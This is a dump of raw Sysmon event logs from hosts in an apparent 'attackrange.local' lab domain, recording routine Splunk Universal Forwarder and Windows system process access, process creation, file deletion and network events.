15:09:32.630{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018338Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.630{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018337Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.630{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-752C-613B-4605-00000000F101}2736C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018336Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.630{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-752C-613B-4605-00000000F101}2736C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018335Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.631{625C326B-752C-613B-4605-00000000F101}2736C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000057392Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:32.585{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ADED37775A41337FA4804D2B635784E7,SHA256=FE4769F63F4732BD111C7614F9042E41DCC1921F4455FDF54050A944767C4A8E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000057391Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:32.163{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=F86F9075E5FFB1331E8CB2286D25F62F,SHA256=2C57F8B6E08BAB9C4074FCB8E66A9952F0DEA60678926CEEA00825377416D7B5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000057390Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:29.353{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63196-false10.0.1.12-8089- 10341000x800000000000000018334Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.364{625C326B-752C-613B-4505-00000000F101}6562020C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018333Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.130{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018332Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.130{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018331Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.130{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018330Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.130{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018329Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.130{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018328Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.130{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018327Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.130{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018326Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.130{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-752C-613B-4505-00000000F101}656C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018325Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.130{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018324Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.130{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018323Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.130{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-752C-613B-4505-00000000F101}656C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018322Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.130{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-752C-613B-4505-00000000F101}656C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018321Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.131{625C326B-752C-613B-4505-00000000F101}656C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000018365Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:33.895{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-752D-613B-4705-00000000F101}224C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018364Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:33.895{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018363Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:33.895{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018362Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:33.895{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018361Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:33.895{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018360Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:33.895{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018359Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:33.895{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdl